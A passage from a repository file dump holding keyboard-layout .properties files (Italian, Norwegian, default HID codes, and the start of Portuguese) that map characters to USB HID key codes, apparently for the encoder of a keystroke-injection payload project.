KEY_7\nASCII_38 = KEY_8\nASCII_39 = KEY_9"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/it.properties",
    "content": "// Author: Armyofangels\n// 01-16-2013\n// LAYOUT_ITALIAN\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \nASCII_23 = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_MINUS\n// 39 \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 (\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_RIGHT_BRACE\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 \nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 56 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_TILDE\n// 92 \\\n\nASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\n\n// ascii 60, 96: accento grave, non mappato\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 123 {\nASCII_7C = KEY_TILDE, MODIFIERKEY_SHIFT\n// 124 |\nASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 125 }\n\n// ascii 7E, 126: tilde, non mappato\nISO_8859_1_E0 = KEY_QUOTE\n// 192 a grave\nISO_8859_1_E8 = KEY_LEFT_BRACE\n// 232 e grave\nISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 233 e acuta\nISO_8859_1_EC = KEY_EQUAL\n// 236 i grave\nISO_8859_1_F2 = KEY_SEMICOLON\n// 242 o grave\nISO_8859_1_F9 = KEY_BACKSLASH\n// 249 u grave"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/keyboard.properties",
    "content": "//default keys\nMODIFIERKEY_CTRL = 0x01\nMODIFIERKEY_SHIFT = 0x02\nMODIFIERKEY_ALT = 0x04\nMODIFIERKEY_GUI = 0x08\nMODIFIERKEY_LEFT_CTRL = 0x01\nMODIFIERKEY_LEFT_SHIFT = 0x02\nMODIFIERKEY_LEFT_ALT = 0x04\nMODIFIERKEY_LEFT_GUI = 0x08\nMODIFIERKEY_RIGHT_CTRL = 0x10\nMODIFIERKEY_RIGHT_SHIFT= 0x20\nMODIFIERKEY_RIGHT_ALT = 0x40\nMODIFIERKEY_RIGHT_GUI = 0x80\n\nKEY_MEDIA_VOLUME_INC = 0x80\nKEY_MEDIA_VOLUME_DEC = 0x81\nKEY_MEDIA_MUTE = 0x7F\nKEY_MEDIA_PLAY_PAUSE = 0x08\nKEY_MEDIA_NEXT_TRACK = 0x10\nKEY_MEDIA_PREV_TRACK = 0x20\n//KEY_MEDIA_STOP = 0x40\n//KEY_MEDIA_EJECT = 0x80\n\nKEY_A = 4\nKEY_B = 5\nKEY_C = 6\nKEY_D = 7\nKEY_E = 8\nKEY_F = 9\nKEY_G = 10\nKEY_H = 11\nKEY_I = 12\nKEY_J = 13\nKEY_K = 14\nKEY_L = 15\nKEY_M = 16\nKEY_N = 17\nKEY_O = 18\nKEY_P = 19\nKEY_Q = 20\nKEY_R = 21\nKEY_S = 22\nKEY_T = 23\nKEY_U = 24\nKEY_V = 25\nKEY_W = 26\nKEY_X = 27\nKEY_Y = 28\nKEY_Z = 29\nKEY_1 = 30\nKEY_2 = 31\nKEY_3 = 32\nKEY_4 = 33\nKEY_5 = 34\nKEY_6 = 35\nKEY_7 = 36\nKEY_8 = 37\nKEY_9 = 38\nKEY_0 = 39\nKEY_ENTER = 40\nKEY_ESC = 41\nKEY_BACKSPACE = 42\nKEY_TAB = 43\nKEY_SPACE = 44\nKEY_MINUS = 45\nKEY_EQUAL = 46\nKEY_LEFT_BRACE = 47\nKEY_RIGHT_BRACE = 48\nKEY_BACKSLASH = 49\nKEY_NON_US_NUM = 50\nKEY_SEMICOLON = 51\nKEY_QUOTE = 52\nKEY_TILDE = 53\nKEY_COMMA = 54\nKEY_PERIOD = 55\nKEY_SLASH = 56\nKEY_CAPS_LOCK = 57\nKEY_F1 = 58\nKEY_F2 = 59\nKEY_F3 = 60\nKEY_F4 = 61\nKEY_F5 = 62\nKEY_F6 = 63\nKEY_F7 = 64\nKEY_F8 = 65\nKEY_F9 = 66\nKEY_F10 = 67\nKEY_F11 = 68\nKEY_F12 = 69\nKEY_PRINTSCREEN = 70\nKEY_SCROLL_LOCK = 71\nKEY_PAUSE = 72\nKEY_INSERT = 73\nKEY_HOME = 74\nKEY_PAGEUP = 75\nKEY_DELETE = 76\nKEY_END = 77\nKEY_PAGEDOWN = 78\nKEY_RIGHT = 79\nKEY_LEFT = 80\nKEY_DOWN = 81\nKEY_UP = 82\nKEY_NUM_LOCK = 83\nKEYPAD_SLASH = 84\nKEYPAD_ASTERIX = 85\nKEYPAD_MINUS = 86\nKEYPAD_PLUS = 87\nKEYPAD_ENTER = 88\nKEYPAD_EQUALS = 103\nKEYPAD_1 = 89\nKEYPAD_2 = 90\nKEYPAD_3 = 91\nKEYPAD_4 = 92\nKEYPAD_5 = 93\nKEYPAD_6 = 94\nKEYPAD_7 = 95\nKEYPAD_8 = 96\nKEYPAD_9 = 97\nKEYPAD_0 = 98\nKEYPAD_PERIOD = 99\n\nKEY_APP = 0x65\nKEY_POWER = 0x66\nKEY_EXE = 0x74\nKEY_HELP = 0x75\nKEY_MENU = 0x76\nKEY_SELECT = 0x77\nKEY_STOP = 0x78\nKEY_AGAIN = 0x79\nKEY_UNDO = 0x7A\nKEY_CUT = 0x7B\nKEY_COPY = 0x7C\nKEY_PASTE = 0x7D\nKEY_FIND = 0x7E\n\nKEY_SYSTEM_POWER = 0x81\nKEY_SYSTEM_SLEEP = 0x82\nKEY_SYSTEM_WAKE = 0x83\n\nKEYPAD_PIPE = 0xC9\n\nKEY_LEFT_CTRL = 0xE0\nKEY_LEFT_SHIFT = 0xE1\nKEY_LEFT_ALT = 0xE2\nKEY_LEFT_GUI = 0xE3\nKEY_COMMAND = 0xE3\nKEY_RIGHT_CTRL = 0xE4\nKEY_RIGHT_SHIFT= 0xE5\nKEY_RIGHT_ALT = 0xE6\nKEY_RIGHT_GUI = 0xE7\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/no.properties",
    "content": "#ifdef LAYOUT_NORWEGIAN\n//Credits go to r.hegazi for patch (11/09/2013)\n\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_BACKSLASH\n// 39 '  \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_MINUS\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_EQUAL\n// 92 \nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT\n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_TILDE\n// 124 |\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\n// 125 }\nASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 126 ~ (not tested)\nASCII_7F = KEY_BACKSPACE\n// 127\n\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 163 £     Pound Sign\nISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT\n// 164 ¤     Currency Sign\nISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT\n// 167 §     SECTION SIGN\n//ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE\n// 168 ¨     DIAERESIS\nISO_8859_1_AB = KEY_4\n// 171 «     LEFT DOUBLE ANGLE QUOTE\n//ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE\n// 180 ´     ACUTE ACCENT\nISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT\n// 181 µ     MICRO SIGN\nISO_8859_1_BD = KEY_TILDE\n// 189 ½     FRACTION ONE HALF\n//ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = \n// 192 À     A GRAVE\n//ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = \n// 193 Á     A ACUTE\n//ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT = \n// 194 Â     A CIRCUMFLEX\n//ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 195 Ã     A TILDE\n//ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT = \n// 196 Ä     A DIAERESIS\nISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 197 Å     A RING ABOVE\nISO_8859_1_C6 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 198 Æ     AE\n//ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = \n// 200 È     E GRAVE\n//ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = \n// 201 É     E ACUTE\n//ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT = \n// 202 Ê     E CIRCUMFLEX\n//ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT = \n// 203 Ë     E DIAERESIS\n//ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = \n// 204 Ì     I GRAVE\n//ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = \n// 205 Í     I ACUTE\n//ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT = \n// 206 Î     I CIRCUMFLEX\n//ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT = \n// 207 Ï     I DIAERESIS\n//ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 208 Ð     ETH\n//ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT\n// 209 Ñ     N TILDE\n//ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = \n// 210 Ò     O GRAVE\n//ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = \n// 211 Ó     O ACUTE\n//ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT = \n// 212 Ô     O CIRCUMFLEX\n//ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 213 Õ     O TILDE\n//ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT = \n// 214 Ö     O DIAERESIS\nISO_8859_1_D8 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 216 Ø     O STROKE\n//ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = \n// 217 Ù     U GRAVE\n//ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = \n// 218 Ú     U ACUTE\n//ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT = \n// 219 Û     U CIRCUMFLEX\n//ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT = \n// 220 Ü     U DIAERESIS\n//ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT = \n// 221 Ý     Y ACUTE\n//ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 222 Þ     THORN\nISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT\n// 223 ß     SHARP S\n//ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A\n// 224 à     a GRAVE\n//ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A\n// 225 á     a ACUTE\n//ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A\n// 226 â     a CIRCUMFLEX\n//ISO_8859_1_E3 = TILDE_BITS + KEY_A\n// 227 ã     a TILDE\n//ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A\n// 228 ä     a DIAERESIS\nISO_8859_1_E5 = KEY_LEFT_BRACE\n// 229 å     a RING ABOVE\nISO_8859_1_E6 = KEY_QUOTE\n// 230 æ     ae\n//ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E\n// 232 è     e GRAVE\n//ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E\n// 233 é     e ACUTE\n//ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E\n// 234 ê     e CIRCUMFLEX\n//ISO_8859_1_EB = DIAERESIS_BITS + KEY_E\n// 235 ë     e DIAERESIS\n//ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I\n// 236 ì     i GRAVE\n//ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I\n// 237 í     i ACUTE\n//ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I\n// 238 î     i CIRCUMFLEX\n//ISO_8859_1_EF = DIAERESIS_BITS + KEY_I\n// 239 ï     i DIAERESIS\nISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT\n// 240 ð     ETH\n//ISO_8859_1_F1 = TILDE_BITS + KEY_N\n// 241 ñ     n TILDE\n//ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O\n// 242 ò     o GRAVE\n//ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O\n// 243 ó     o ACUTE\n//ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O\n// 244 ô     o CIRCUMFLEX\n//ISO_8859_1_F5 = TILDE_BITS + KEY_O\n// 245 õ     o TILDE\n//ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O\n// 246 ö     o DIAERESIS\nISO_8859_1_F8 = KEY_SEMICOLON\n// 248 ø     o STROKE\n//ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U\n// 249 ù     u GRAVE\n//ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U\n// 250 ú     u ACUTE\n//ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U\n// 251 û     u CIRCUMFLEX\n//ISO_8859_1_FC = DIAERESIS_BITS + KEY_U\n// 252 ü     u DIAERESIS\n//ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y\n// 253 ý     y ACUTE\nISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT\n// 254 þ     THORN\n//ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y\n// 255 ÿ     y DIAERESIS\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/pt.properties",
    "content": "// Portuguese keyboard 102-keys layout\r\n\r\n// Keyboard Non-US# and ~ \r\n// Typical language mappings: US: \\| Belg: μ`£ FrCa: <}> Dan:’* Dutch: <> Fren:*μ Ger: #’ Ital: ù§ LatAm: }`] Nor:,* Span:}Ç Swed: ,* Swiss: $£ UK: #~ Port: ~^ .\r\nKEY_NON_US_NUM = 50\r\n// Keyboard Non-US\\ and |\r\n// Typical language mappings: Belg:<\\> FrCa:«°» Dan:<\\> Dutch:]|[ Fren:<> Ger:<|> Ital:<> LatAm:<> Nor:<> Span:<> Swed:<|> Swiss:<\\> UK:\\| Brazil: \\| Portuguese: <> .\r\nKEY_NON_US_100 = 100 \r\n\r\n// 32 \r\nASCII_20 = KEY_SPACE\t\t\t\t\t\r\n// 33 ! 49 1\r\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\r\nASCII_31 = KEY_1\r\n// 34 \" 50 2\r\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\t\r\nASCII_32 = KEY_2\t\t\t\t\r\n// 35 # 51 3\r\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\r\nASCII_33 = KEY_3\t\t\t\t\r\n// 36 $ 52 4\r\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\r\nASCII_34 = KEY_4\t\t\t\t\r\n// 37 % 53 5\r\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\r\nASCII_35 = KEY_5\t\t\t\r\n// 38 & 35 6\r\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\r\nASCII_36 = KEY_6\t\r\n// 47 SLASH 55 7\r\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\r\nASCII_37 = KEY_7\r\n// 40 ( 55 8\r\nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\r\nASCII_38 = KEY_8\r\n// 41 ) 57 9\r\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\r\nASCII_39 = KEY_9\t\r\n// 61 = 48 0\r\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\r\nASCII_30 = KEY_0\r\n// 39 ' 63 ? \r\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\t\r\nASCII_27 = KEY_MINUS\t\r\n// 42 * 43 +\r\nASCII_2A = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\t\t\t\r\nASCII_2B = KEY_LEFT_BRACE\r\n// 44 , 59 ;\r\nASCII_2C = KEY_COMMA\r\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\t\t\t\r\n// 45 - 95 _\r\nASCII_2D = KEY_SLASH,\r\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\t\r\n// 46 . 58 :\r\nASCII_2E = KEY_PERIOD\r\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\t\t\t\r\n// 60 < 62 >\r\nASCII_3C = KEY_NON_US_100\t\t\t\t\r\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\t\t\t\t\t\r\n// 64 @\r\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\t\t\t\t\r\n// 65 A\r\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\r\n// 66 B\r\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 67 C\r\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 68 D\r\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 69 E\r\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 70 F\r\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 71 G\r\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 72 H\r\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 73 I\r\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 74 J\r\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 75 K\r\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 76 L\r\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 77 M\r\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\t\t\t\r\n// 78 N\r\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 79 O\r\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\t\t\t\t\r\n// 80 P\r\nASCII_50 = KEY_P, 